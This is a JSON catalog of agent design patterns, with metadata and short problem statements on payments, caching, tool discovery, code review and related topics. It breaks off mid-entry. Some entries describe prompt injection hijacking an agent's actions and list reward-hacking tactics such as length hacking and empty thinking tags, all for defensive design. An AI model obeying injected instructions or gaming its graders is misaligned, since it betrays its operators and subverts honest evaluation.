[
  {
    "title": "402-First Machine Payments (Price-Before-Work Tool Purchases)",
    "status": "emerging",
    "authors": [
      "bettergraininfo-rgb (@bettergraininfo-rgb)"
    ],
    "based_on": [
      "x402 protocol (Coinbase / x402-foundation)",
      "HTTP 402 Payment Required semantics"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/x402-foundation/x402",
    "tags": [
      "payments",
      "micropayments",
      "x402",
      "http-402",
      "agent-commerce",
      "tool-use",
      "budget-guards"
    ],
    "slug": "402-first-machine-payments",
    "id": "402-first-machine-payments-price-before-work-tool-purchases",
    "summary": "Server returns an HTTP 402 price quote before doing work, and the agent pays the exact amount only if it fits its budget cap",
    "signals": [
      "Agent buys small, bounded capabilities from unknown providers mid-task",
      "Buyer has a funded wallet and a hard per-task budget",
      "No human is available to sign up for API keys"
    ],
    "anti_signals": [
      "Buyers are people who can register and hold API keys",
      "Agent has no funded wallet",
      "Work needs refunds or dispute handling after settlement"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nAn autonomous agent mid-task often needs a capability it does not have — summarize a long document, extract entities from a contract, fetch a paywalled dataset. The standard ways to sell that capability all assume a human in the loop:\n\n- **API keys / subscriptions** require a registration flow, a dashboard, and a payment method on file. An agent cannot sign up mid-task.\n- **Free tiers with rate limits** don't scale to real workloads and give the provider no revenue.\n- **Invoice-after-work** is a non-starter between strangers: the provider does the work with no guarantee of payment; the buyer pre-commits to an unknown price.\n\nThe provider's core fear is doing work for an unpaid stranger. The buyer-agent's core fear is committing to an unknown price or unbounded spend. A machine-to-machine purchase path needs to solve both at once, without any human-readable signup."
  },
  {
    "title": "Abstracted Code Representation for Review",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Aman Sanger (Cursor, referencing Michael Grinich)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "code-review",
      "verification",
      "abstraction",
      "pseudocode",
      "intent-based-review",
      "explainability",
      "software-quality",
      "human-ai-interface"
    ],
    "slug": "abstracted-code-representation-for-review",
    "id": "abstracted-code-representation-for-review",
    "summary": "Shows reviewers pseudocode, intent summaries, and logical diffs of code changes, with drill-down to the real code to confirm the mapping",
    "signals": [
      "Reviewers spend too long reading AI-generated code line by line",
      "Reviewers care more about why code changed than how"
    ],
    "anti_signals": [
      "No reliable way to confirm the abstraction matches the actual code",
      "Changes are small enough to review directly"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nReviewing AI-generated code line-by-line is time-intensive and cognitively demanding. Research shows developers prefer understanding *why* changes were made over *how* they were implemented—intent-level review is faster and more effective than syntax-level verification."
  },
  {
    "title": "Action Caching & Replay Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Hyperbrowser Team (@hyperbrowserai)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/hyperbrowserai/HyperAgent",
    "tags": [
      "caching",
      "replay",
      "regression-testing",
      "cost-reduction",
      "deterministic",
      "xpath"
    ],
    "slug": "action-caching-replay",
    "id": "action-caching-replay-pattern",
    "summary": "Records each agent action with XPath and frame metadata so later runs replay it without LLM calls, with LLM fallback when replay fails",
    "signals": [
      "Same browser workflow runs many times",
      "LLM cost or latency per run is too high",
      "Agent workflows need deterministic regression tests in CI"
    ],
    "anti_signals": [
      "Workflow is not deterministic and changes each run",
      "Target UI goes through frequent major redesigns"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLLM-based agent execution is expensive (both in costs and latency) and non-deterministic. Running the same workflow multiple times yields different results and incurs repeated LLM costs.\n\nThis creates several issues:\n\n- **Cost explosion**: Every workflow run burns LLM tokens even for identical tasks\n- **Non-determinism**: Same input produces different outputs across runs\n- **No regression testing**: Impossible to verify fixes don't break existing workflows\n- **Slow iteration**: Can't quickly test changes without paying LLM costs\n- **No CI/CD integration**: Automated testing of agent workflows is impractical"
  },
  {
    "title": "Action-Selector Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Luca Beurer-Kellner et al. (2025)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "prompt-injection",
      "control-flow",
      "safety",
      "tool-use"
    ],
    "slug": "action-selector-pattern",
    "id": "action-selector-pattern",
    "summary": "LLM maps user intent to a pre-approved action ID with schema-validated parameters, and tool outputs never return to the selector",
    "signals": [
      "Agent processes untrusted data such as emails, web pages, or API responses",
      "Allowed actions are finite and auditable",
      "Prompt injection must not change which action runs"
    ],
    "anti_signals": [
      "Tasks need open-ended tool use or frequent new capabilities",
      "Main risk is poisoned parameters passed to approved tools"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn tool-enabled agents, untrusted data from emails, web pages, and API responses is often fed back into the model between steps. That creates a control-flow vulnerability: injected text can influence which action the agent chooses next, enabling control-flow hijacking. Even if individual tools are safe, a compromised action-selection loop can trigger harmful sequences at the orchestration layer and enable cascading prompt injection attacks."
  },
  {
    "title": "Adaptive Sandbox Fan-Out Controller",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Labruno (GitHub)",
      "Swarm Migration Pattern"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/nibzard/labruno-agent",
    "tags": [
      "fan-out",
      "adaptive",
      "parallel-sandboxes",
      "early-stopping",
      "controller",
      "variance",
      "prompt-refinement"
    ],
    "slug": "adaptive-sandbox-fanout-controller",
    "id": "adaptive-sandbox-fan-out-controller",
    "summary": "Starts a small batch of parallel sandboxes, then scales up, stops early, or refines the prompt based on early success, variance, and error signals",
    "signals": [
      "Running best-of-N code generation in parallel sandboxes",
      "Cheap objective checks such as unit tests exist",
      "A fixed N wastes cost and latency"
    ],
    "anti_signals": [
      "No objective check or reliable scoring function for results",
      "One run per task is enough"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nParallel sandboxes are intoxicating: you can spawn 10... 100... 1000 runs. But two things break quickly:\n\n1. **Diminishing returns:** After some N, you're mostly paying for redundant failures or near-duplicate solutions\n2. **Prompt fragility:** If the prompt is underspecified, scaling N just scales errors (lots of sandboxes fail fast)\n3. **Resource risk:** Unbounded fan-out can overwhelm budgets, rate limits, or queues\n4. **Oscillation risk:** Poorly tuned thresholds can cause scale-up/scale-down thrashing as the controller oscillates between decisions\n\nStatic \"N=10 always\" policies don't adapt to task difficulty, model variance, or observed failure rates. Most implementations use static caps rather than true signal-driven adaptation."
  },
  {
    "title": "Agent Circuit Breaker",
    "status": "emerging",
    "authors": [
      "Jeel Thummar (@jeelthummar)"
    ],
    "based_on": [
      "Michael Nygard (Release It!, 2007)",
      "Netflix Hystrix Team"
    ],
    "category": "Reliability & Eval",
    "source": "https://martinfowler.com/bliki/CircuitBreaker.html",
    "tags": [
      "circuit-breaker",
      "fault-tolerance",
      "tool-reliability",
      "graceful-degradation",
      "resilience"
    ],
    "slug": "agent-circuit-breaker",
    "id": "agent-circuit-breaker",
    "summary": "Prevents agents from wasting tokens and time on repeatedly failing tools by tracking failure rates and temporarily disabling broken tool endpoints",
    "maturity": "maturing",
    "complexity": "medium",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "Agent calls external APIs or tools that can fail",
      "Retries burn tokens without progress",
      "Multiple tool providers available for fallback"
    ],
    "anti_signals": [
      "All tools are local and deterministic",
      "Single-shot agent with no retry logic"
    ],
    "prerequisites": [
      "Tool abstraction layer",
      "Failure tracking mechanism"
    ],
    "related": [
      "failover-aware-model-fallback",
      "action-caching-replay"
    ],
    "anti_patterns": [
      "infinite-retry-loop"
    ],
    "tools": [
      "api-clients",
      "tool-executors"
    ],
    "domains": [
      "coding",
      "ops",
      "research"
    ],
    "updated_at": "2026-03-26",
    "excerpt": "\n## Problem\nAgents that use external tools — APIs, databases, web scrapers, code executors — face a common failure mode: a tool endpoint becomes degraded or unavailable, and the agent **keeps calling it**, burning tokens on retries that will never succeed.\n\nThis creates three cascading problems:\n\n- **Token waste**: Each failed tool call costs input/output tokens, and the agent often generates lengthy retry reasoning\n- **Latency amplification**: Sequential retries on a dead endpoint add seconds or minutes with no progress\n- **Cascading failure**: If one tool is down (e.g., a search API), the agent may stall entirely instead of using alternative approaches\n\nUnlike model-level failover (switching between GPT-4 and Claude when one provider is down), tool-level failures require a different strategy — the agent needs to learn, mid-session, that a specific tool is broken and **stop using it**."
  },
  {
    "title": "Agent Modes by Model Personality",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.youtube.com/watch?v=4rx36wc9ugw",
    "tags": [
      "model-personality",
      "interaction-modes",
      "multi-model",
      "ux-design",
      "agent-behavior",
      "opus",
      "gpt-52"
    ],
    "slug": "agent-modes-by-model-personality",
    "id": "agent-modes-by-model-personality",
    "summary": "Offers separate working modes, each with its own prompts, tools, UI, and expectations, tuned to one model's working style",
    "signals": [
      "Product uses several models with different working styles",
      "Some tasks need fast interaction and others need long autonomous research"
    ],
    "anti_signals": [
      "Product uses one model for all tasks",
      "Users only want to pick the best model",
      "Team cannot test and maintain several modes"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nDifferent AI models have fundamentally different personalities and working styles. Treating all models the same—expecting them to work identically—leads to suboptimal outcomes. Users expect a consistent interface, but models like Opus 4.5 are \"trigger happy\" and want to run commands immediately, while models like GPT-5.2 are \"lazy\" and prefer thorough research before acting."
  },
  {
    "title": "Agent Reinforcement Fine-Tuning (Agent RFT)",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Brown (OpenAI)",
      "Theo (OpenAI Solutions Architect)"
    ],
    "category": "Learning & Adaptation",
    "source": "https://youtu.be/1s_7RMG4O4U",
    "tags": [
      "reinforcement-learning",
      "fine-tuning",
      "tool-use",
      "multi-step-rl",
      "agent-training",
      "exploration"
    ],
    "slug": "agent-reinforcement-fine-tuning",
    "id": "agent-reinforcement-fine-tuning-agent-rft",
    "summary": "Trains model weights with reinforcement learning on real tool calls and custom graders to improve domain-specific tool use and multi-step reasoning",
    "signals": [
      "Agent still underperforms on domain tasks after prompt optimization",
      "Agent makes too many or wrong tool calls",
      "Task has agreed correct answers and non-zero baseline performance"
    ],
    "anti_signals": [
      "Base model never solves the task",
      "Team cannot host tool and grader endpoints that mirror production",
      "No consensus on what a correct answer is"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nAfter optimizing prompts and task design, agents may still underperform on your specific business tasks because:\n\n- **Domain shift**: Your tools and business context differ from what the base model was trained on\n- **Inefficient tool use**: Agents make too many tool calls or use wrong tools, leading to high latency\n- **Suboptimal reasoning**: The model doesn't reason well across your specific tool outputs\n- **Sample scarcity**: Some domains (e.g., new GPU hardware, specialized finance) lack training data\n\nTraditional fine-tuning approaches don't work well because they can't train the agent end-to-end on multi-step tool interactions with your environment."
  },
  {
    "title": "Agent SDK for Programmatic Control",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic (Claude Code SDK example)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "sdk",
      "automation",
      "ci/cd",
      "programmatic access",
      "scripting",
      "api",
      "headless agent"
    ],
    "slug": "agent-sdk-for-programmatic-control",
    "id": "agent-sdk-for-programmatic-control",
    "summary": "Exposes agent functions through an SDK and CLI so code can run the agent headless with set tools, permissions, and resource limits",
    "signals": [
      "Agent must run in CI/CD pipelines or scheduled jobs",
      "Batch processing across many files or projects",
      "Building custom apps or UIs on an agent backend"
    ],
    "anti_signals": [
      "Microservices architecture that prefers REST or gRPC APIs",
      "High-frequency calls or real-time streaming",
      "Task needs conversational clarification"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nInteractive terminal or chat interfaces are suitable for many agent tasks, but not for all. Integrating agent capabilities into automated workflows (e.g., CI/CD pipelines, scheduled jobs, batch processing) or building more complex applications on top of core agent functionalities requires a programmatic interface."
  },
  {
    "title": "Agent-Assisted Scaffolding",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Lukas Möller (Cursor)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "code-generation",
      "bootstrapping",
      "scaffolding",
      "feature-development",
      "ide",
      "initial-setup"
    ],
    "slug": "agent-assisted-scaffolding",
    "id": "agent-assisted-scaffolding",
    "summary": "Agent generates initial files, boilerplate, and directory structure from a high-level description so developers start on core logic",
    "signals": [
      "Starting a new feature, module, or greenfield project",
      "Standardized framework with repetitive boilerplate"
    ],
    "anti_signals": [
      "Integration with an old legacy codebase",
      "Complex business logic that needs deep domain expertise",
      "Highly regulated environment with strict compliance"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nStarting a new feature, module, or codebase often involves writing a significant amount of boilerplate or foundational code. This can be time-consuming and repetitive for developers."
  },
  {
    "title": "Agent-Driven Research",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Danny Tarlow",
      "Connie Fan"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.youtube.com/watch?v=u85G2aV_5rQ",
    "tags": [
      "research",
      "information retrieval",
      "tool use",
      "iterative process",
      "autonomous search"
    ],
    "slug": "agent-driven-research",
    "id": "agent-driven-research",
    "summary": "Agent plans its own search queries, runs them across sources, reflects on gaps, and iterates until it can write a sourced report",
    "signals": [
      "Open-ended research question needs multiple search rounds",
      "Answer needs synthesis across many sources"
    ],
    "anti_signals": [
      "A single retrieval round answers the question",
      "Token cost or latency budget is tight"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional research methods often lack the ability to adapt search strategies based on emerging results, limiting efficiency and potential discoveries. Complex research tasks require multi-round investigation, cross-source synthesis, and dynamic strategy adjustment that static retrieval systems cannot provide."
  },
  {
    "title": "Agent-First Tool Discovery",
    "status": "emerging",
    "authors": [
      "Shane Cheek (@unitedideas, affiliated with Not Human Search)"
    ],
    "based_on": [
      "llms.txt community specification",
      "MCP (Model Context Protocol)",
      "Anthropic MCP Registry"
    ],
    "category": "Tool Use & Environment",
    "source": "https://modelcontextprotocol.io/specification/2025-06-18/basic/transports",
    "tags": [
      "tool-discovery",
      "mcp",
      "agent-search",
      "service-registry",
      "llms-txt",
      "api-discovery",
      "agent-infrastructure"
    ],
    "slug": "agent-first-tool-discovery",
    "id": "agent-first-tool-discovery",
    "summary": "Build search indexes designed for agent consumers, returning structured tool metadata ranked by agent-relevant signals instead of human SEO metrics.",
    "signals": [
      "Agent must find and acquire new tools at runtime without human help",
      "Orchestrator routes tasks to tools by capability match"
    ],
    "anti_signals": [
      "Tool set is fixed and known in advance",
      "Needed tools are private and not in any index"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nIndividual services can declare their agent-readiness via static manifests (`llms.txt`, `ai-plugin.json`, OpenAPI specs). But an agent that needs a new capability at runtime has no way to search *across* services to find, compare, and select the best match. Static manifests describe one service; they do not solve cross-service discovery.\n\nToday, tool catalogs are hardcoded into system prompts, manually curated in static lists, or require human-mediated searches through documentation designed for humans. When an agent needs a capability it does not have -- say, a calendar API or a code review tool -- there is no programmatic search that returns structured, verified results ranked by agent-relevant signals."
  },
  {
    "title": "Agent-First Tooling and Logging",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Thorsten Ball (Sourcegraph)",
      "Kenton Varda (Cloudflare)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.sourcegraph.com",
    "tags": [
      "tool-design",
      "logging",
      "machine-readable",
      "observability",
      "agent-environment",
      "mcp",
      "structured-output"
    ],
    "slug": "agent-first-tooling-and-logging",
    "id": "agent-first-tooling-and-logging",
    "summary": "Designs tools and logs for agent consumption with one unified log stream, structured JSON output, and agent-aware CLI flags",
    "signals": [
      "Agent parses human-oriented CLI or log output",
      "Logs are split across client, server, and database streams",
      "Agent wastes tokens interpreting ambiguous tool output"
    ],
    "anti_signals": [
      "Humans are the main consumers of the tool output",
      "Team cannot maintain separate human and agent interfaces"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMost developer tools, CLIs, and application logs are designed for human consumption. They use color-coded, multi-line, or summarized outputs that are easy for a person to scan but can be difficult for an AI agent to parse reliably. This \"human-centric\" design creates noise and ambiguity, forcing the agent to waste tokens and effort on interpreting output rather than acting on it."
  },
  {
    "title": "Agent-Friendly Workflow Design",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Amjad Masad"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.nibzard.com/silent-revolution",
    "tags": [
      "human-agent collaboration",
      "workflow design",
      "agent autonomy",
      "task decomposition",
      "HCI"
    ],
    "slug": "agent-friendly-workflow-design",
    "id": "agent-friendly-workflow-design",
    "summary": "Gives agents clear high-level goals, room for implementation choices, structured I/O, and plan review before execution",
    "signals": [
      "Humans micromanage the agent's technical decisions",
      "Humans and agents share work across handoffs",
      "Rigid step-by-step workflows reduce agent output quality"
    ],
    "anti_signals": [
      "Task needs exact prescribed steps with no agent choice",
      "Team cannot invest in explicit process design"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nSimply providing an AI agent with a task is often not enough for optimal performance. If workflows are too rigid, or if humans micromanage the agent's technical decisions, the agent may struggle or produce suboptimal results. Agents perform best when given some degree of freedom and when the tasks are structured in a way that aligns with their strengths."
  },
  {
    "title": "Agent-Powered Codebase Q&A / Onboarding",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Lukas Möller (Cursor)",
      "Aman Sanger (Cursor)"
    ],
    "category": "Context & Memory",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "code-understanding",
      "onboarding",
      "q&a",
      "retrieval",
      "search",
      "context-awareness",
      "knowledge-base"
    ],
    "slug": "agent-powered-codebase-qa-onboarding",
    "id": "agent-powered-codebase-qa-onboarding",
    "summary": "Agent indexes the codebase with embeddings and code graphs and answers natural-language questions about where code is and how it behaves",
    "signals": [
      "Developers onboard to a large or unfamiliar codebase",
      "Team explores legacy systems or asks repository-wide questions"
    ],
    "anti_signals": [
      "Codebase is small enough to read directly",
      "Team cannot keep indexes current as code changes"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nUnderstanding a large or unfamiliar codebase can be a significant challenge for developers, especially when onboarding to a new project or trying to debug a complex system. Manually searching and tracing code paths is time-consuming."
  },
  {
    "title": "Agentic Search Over Vector Embeddings",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Cat Wu (Anthropic)",
      "Boris Cherny (Anthropic)"
    ],
    "category": "Tool Use & Environment",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "search",
      "vector-embeddings",
      "bash",
      "grep",
      "RAG",
      "agentic-RAG",
      "maintenance"
    ],
    "slug": "agentic-search-over-vector-embeddings",
    "id": "agentic-search-over-vector-embeddings",
    "summary": "Replaces vector indexes with agent-driven grep, find, and file traversal that searches current file state on demand and refines iteratively",
    "signals": [
      "Codebase changes often or has local uncommitted changes",
      "Team has no dedicated vector infrastructure",
      "Security-sensitive deployment needs fewer dependencies"
    ],
    "anti_signals": [
      "Codebase has millions of files",
      "Queries need semantic matching across different terms",
      "Model is not capable enough to search iteratively"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nVector embeddings for code search require:\n\n- Continuous re-indexing as code changes\n- Handling local uncommitted changes\n- Additional security surface area for enterprise deployments\n- Infrastructure overhead (embedding models, vector databases)\n- Stale indices when developers work on multiple branches\n\nTraditional RAG approaches add complexity that may not be necessary with modern capable LLMs."
  },
  {
    "title": "AI Web Search Agent Loop",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Colin Flaherty (Muse)",
      "Amplify Partners Blog"
    ],
    "category": "Tool Use & Environment",
    "source": "https://www.amplifypartners.com/blog-posts/how-ai-web-search-works",
    "tags": [
      "web-search",
      "serp-api",
      "citations",
      "parallel-agents",
      "query-translation",
      "operators",
      "grounding"
    ],
    "slug": "ai-web-search-agent-loop",
    "id": "ai-web-search-agent-loop",
    "summary": "Coordinator agent translates queries, spawns parallel search workers across domains and time ranges, refines iteratively, and answers with citations",
    "signals": [
      "Assistant needs real-time information beyond the training cutoff",
      "Answers need source citations",
      "Research needs diverse, long-tail web results"
    ],
    "anti_signals": [
      "Internal model knowledge answers the query",
      "Latency and cost budgets cannot absorb multiple search rounds"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional LLMs have a training cutoff date, meaning they don't know recent facts or real-time information. Simply connecting a model to a search API isn't enough - the model needs to:\n\n- Decide when searching is necessary versus using internal knowledge\n- Translate conversational context into effective search queries\n- Find diverse, long-tail results rather than just popular pages\n- Iterate and refine searches based on intermediate results\n- Cite sources properly to build user trust and reduce hallucination concerns"
  },
  {
    "title": "AI-Accelerated Learning and Skill Development",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Lukas Möller (Cursor)",
      "Alex Albert (Anthropic)",
      "Jacob Jackson (Cursor)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "developer-productivity",
      "learning",
      "skill-acquisition",
      "iteration",
      "feedback",
      "taste-development",
      "education",
      "junior-developer"
    ],
    "slug": "ai-accelerated-learning-and-skill-development",
    "id": "ai-accelerated-learning-and-skill-development",
    "summary": "Uses AI assistants as tutors that explain errors and concepts, offer alternatives, and fade support as the developer gains skill",
    "signals": [
      "Junior developers need to build skills and code taste",
      "Developer is learning a new framework or domain"
    ],
    "anti_signals": [
      "Developer copies AI output without independent problem-solving",
      "Team cannot fade AI support as skills grow"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nDeveloping strong software engineering skills, including \"taste\" for clean and effective code, traditionally requires extensive experience, trial-and-error, and mentorship, which can be a slow process, especially for junior developers."
  },
  {
    "title": "AI-Assisted Code Review / Verification",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Aman Sanger (Cursor)"
    ],
    "category": "Feedback Loops",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "code-review",
      "verification",
      "quality-assurance",
      "human-ai-collaboration",
      "trust",
      "explainability",
      "software-quality"
    ],
    "slug": "ai-assisted-code-review-verification",
    "id": "ai-assisted-code-review-verification",
    "summary": "Uses AI tools to flag issues, summarize change intent, and explain code so human reviewers focus on intent and business logic",
    "signals": [
      "AI generates more code than humans can review line by line",
      "Code review is the development bottleneck"
    ],
    "anti_signals": [
      "Team cannot tolerate false positives and alert fatigue",
      "Architectural decisions that need human-only judgment"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAs AI models generate increasing amounts of code, the bottleneck in software development shifts from code generation to code verification and review. Ensuring that AI-generated code is not only syntactically correct but also semantically correct, aligns with the intended functionality (especially if underspecified), and meets quality standards becomes crucial and time-consuming."
  },
  {
    "title": "Anti-Reward-Hacking Grader Design",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Rogo Engineering Team",
      "Will Brown (OpenAI)"
    ],
    "category": "Reliability & Eval",
    "source": "https://youtu.be/1s_7RMG4O4U",
    "tags": [
      "reward-hacking",
      "grading",
      "reinforcement-learning",
      "adversarial-robustness",
      "agent-rft"
    ],
    "slug": "anti-reward-hacking-grader-design",
    "id": "anti-reward-hacking-grader-design",
    "summary": "Design reward functions with multi-criteria evaluation and iterative hardening to prevent models from gaming graders, ensuring training rewards align with actual task quality.",
    "signals": [
      "Training a model with reinforcement learning against a grader",
      "Training reward rises while real performance does not",
      "Simple graders penalize valid answers for format differences"
    ],
    "anti_signals": [
      "No reinforcement learning or reward-based training",
      "Team cannot inspect traces and iterate on the grader"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nDuring reinforcement learning training, models actively search for ways to maximize reward. If your grader has edge cases or loopholes, the model will find and exploit them:\n\n- **Gaming the metric**: Model achieves 100% reward score by exploiting grader weaknesses rather than solving the task\n- **Unexpected behaviors**: Agent learns bizarre shortcuts that technically satisfy the reward function but don't reflect true quality\n- **Brittle evaluation**: Simple graders (e.g., exact string match) penalize valid answers due to formatting differences\n- **Degraded real performance**: High training reward doesn't translate to production success\n- **Length hacking**: Models generate verbose but meaningless content to inflate scores\n- **Format hacking**: Adding empty tags like `<thinking></thinking>` without substantive content\n- **Solution appending**: Concatenating previously-solved problems to exploit reward systems\n\nThe Rogo team experienced this firsthand: early training runs showed 100% average validation reward, but the model was exploiting edge cases in their financial reasoning grader rather than improving actual performance."
  },
  {
    "title": "Artifact-Driven Analysis Pipeline Orchestration",
    "status": "emerging",
    "authors": [
      "shmlkv (@shmlkv)"
    ],
    "based_on": [
      "Anthropic Claude Code"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/shmlkv/dna-claude-analysis",
    "tags": [
      "pipeline",
      "multi-step",
      "orchestration",
      "report-generation",
      "data-analysis",
      "claude-code"
    ],
    "slug": "multi-step-analysis-pipeline-orchestration",
    "id": "artifact-driven-analysis-pipeline-orchestration",
    "summary": "Has an agent run independent analysis scripts, read their structured reports, and merge them into one final report or visualization",
    "signals": [
      "Several scripts analyze the same input from different angles",
      "Intermediate outputs are markdown, JSON, or CSV",
      "Final deliverable is one unified report or visualization"
    ],
    "anti_signals": [
      "Pipeline has thousands of steps",
      "Final output must be identical between runs"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nComplex data analysis tasks often require running many sequential or parallel processing steps, each producing intermediate artifacts that feed into subsequent stages. Manually coordinating these steps — ensuring correct ordering, aggregating outputs, and producing a final unified result — is tedious and error-prone. Traditional scripting approaches hardcode the pipeline, making it inflexible when steps need to be added, reordered, or debugged."
  },
  {
    "title": "Asynchronous Coding Agent Pipeline",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Will Brown (Prime Intellect Talk)"
    ],
    "category": "Reliability & Eval",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "asynchronous",
      "pipeline",
      "code-agent",
      "parallelism"
    ],
    "slug": "asynchronous-coding-agent-pipeline",
    "id": "asynchronous-coding-agent-pipeline",
    "summary": "Splits inference, tool execution, reward modeling, and learning into asynchronous workers linked by message queues so GPUs stay busy",
    "signals": [
      "RL rollouts for coding agents block on slow compile or test calls",
      "GPUs sit idle while CPU-bound tools run"
    ],
    "anti_signals": [
      "Team cannot maintain monitoring across many services",
      "Training cannot tolerate slightly stale policy data"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nSynchronous execution of coding tasks—where the agent must wait for compilation, testing, linting, or static analysis—creates **compute bubbles** and **idle resources**. When a coding agent issues a tool call (e.g., `run_tests()`), it blocks further reasoning until that tool returns, leading to underutilized GPUs/TPUs and slower RL rollouts.\n\n- RL agents must push hard on **async RL** \"so everything is happening in parallel without blowing up bubbles\".\n- For coding agents, each I/O-bound tool call (compilation, test runs) can take seconds to minutes.\n- Industry benchmarks show **67% performance improvement** with parallel execution (3.2s vs 9.8s for 3 agents)."
  },
  {
    "title": "Authenticated Authority Channel",
    "status": "emerging",
    "authors": [
      "Austin Bell (@robertaustinbell)"
    ],
    "based_on": [
      "CaMeL control/data-flow separation",
      "Design Patterns for Securing LLM Agents against Prompt Injections"
    ],
    "category": "Security & Safety",
    "source": "https://arxiv.org/abs/2503.18813",
    "tags": [
      "prompt-injection",
      "authorization",
      "provenance",
      "control-plane",
      "tool-use"
    ],
    "slug": "authenticated-authority-channel",
    "id": "authenticated-authority-channel",
    "summary": "Preserve a distinguishable channel for authenticated intent so retrieved content can inform reasoning without granting itself authority.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "medium",
    "signals": [
      "Agents reason over web pages, files, messages, or tool output while retaining consequential tools",
      "Context is summarized, compacted, delegated, or persisted across execution steps",
      "A source can contain imperative language that resembles an operator command"
    ],
    "anti_signals": [
      "The agent is read-only and cannot access sensitive data, mutate state, or communicate externally",
      "A finite action-selector can exclude untrusted content from the control loop entirely"
    ],
    "prerequisites": [
      "An authenticated source for current operator intent",
      "Runtime-enforced permissions and an execution validation point",
      "Provenance labels that survive context construction and handoffs"
    ],
    "related": [
      "action-selector-pattern",
      "policy-gated-tool-proxy",
      "context-minimization-pattern",
      "sandboxed-tool-authorization",
      "lethal-trifecta-threat-model"
    ],
    "domains": [
      "ops",
      "research",
      "coding"
    ],
    "updated_at": "2026-08-08",
    "excerpt": "\n## Problem\nTool-using agents often place operator instructions, standing policy, retrieved documents, webpages, messages, tool output, summaries, and delegated reports in the same model context. Untrusted content can then contain imperative language that resembles a legitimate command. If the runtime does not preserve where each instruction-like statement came from, source content can be mistaken for authorization, persisted as policy, or used to redirect a consequential action.\n\nThis is broader than deciding whether a passage is malicious. A benign document can describe a real procedure without authorizing the agent to perform it. The missing distinction is between information that may influence reasoning and input that may grant authority."
  },
  {
    "title": "Autonomous Workflow Agent Architecture",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
